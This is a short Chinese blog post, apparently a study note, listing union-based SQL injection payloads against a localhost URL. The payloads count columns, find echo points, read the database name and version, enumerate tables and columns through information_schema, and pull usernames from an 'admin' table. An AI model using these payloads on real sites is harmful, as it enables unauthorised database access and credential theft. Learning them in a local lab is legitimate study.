SQL 注入基本操作

目标url: http://localhost:8003/?id=1
判断字段数
构造 ?id=1 and 1=1 order by 1 
判断回显点 
构造 ?id=1 and 1=2 union select 1,2 
查询当前数据库名
构造 ?id=1 and 1=2 union select 1,database()
查询当前数据库版本
构造 ?id=1 and 1=2 union select 1,version()
查询当前数据库 表名
构造 ?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1
查询字段名
构造 ?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1
查询字段内容
构造 ?id=1 and 1=2 union select 1,username from admin  limit 0,1

 

posted @ 2020-12-27 14:08  网络冲浪运动员  阅读(124)  评论(0)    收藏  举报